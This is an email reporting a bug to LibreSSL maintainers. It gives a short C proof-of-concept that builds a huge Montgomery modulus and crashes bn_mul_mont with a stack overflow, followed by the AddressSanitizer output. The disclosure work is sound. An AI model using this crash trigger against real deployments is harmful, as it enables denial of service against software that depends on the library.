Dear developers/maintainers,

Hope this email finds you well!
I'm writing to report an issue we met while testing with Libressl, it's in
the bignum library in the upstream master branch.
The POC is:
```
#include <openssl/bn.h>
int main() {
    BIGNUM *r0 = NULL, *r1 = NULL, *r2 = NULL;

    r0 = BN_new();
    BN_set_bit(r0, 0x10000000);
    BN_set_bit(r0, 0x7d);
    BN_MONT_CTX* mont = BN_MONT_CTX_new();
    BN_CTX* ctx = BN_CTX_new();
    BN_MONT_CTX_set(mont, r0, ctx);

    r1 = BN_dup(r0);
    r2 = BN_dup(r0);
    BN_mod_mul_montgomery(r0, r1, r2, mont, ctx);
}
```
And its ASAN report shows a stack overflow:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1942223==ERROR: AddressSanitizer: stack-overflow on address
0x7ffffdffe400 (pc 0x0000004e2e85 bp 0x000000000000 sp 0x7ffffdffe400 T0)
    #0 0x4e2e85 in bn_mul_mont ~/libressl/crypto/bn/mont-elf-x86_64.S:67

SUMMARY: AddressSanitizer: stack-overflow
~/libressl/crypto/bn/mont-elf-x86_64.S:67 in bn_mul_mont
==1942223==ABORTING
```
Could you help us verify this? Thank you!

Best,
Jiayi

Reply via email to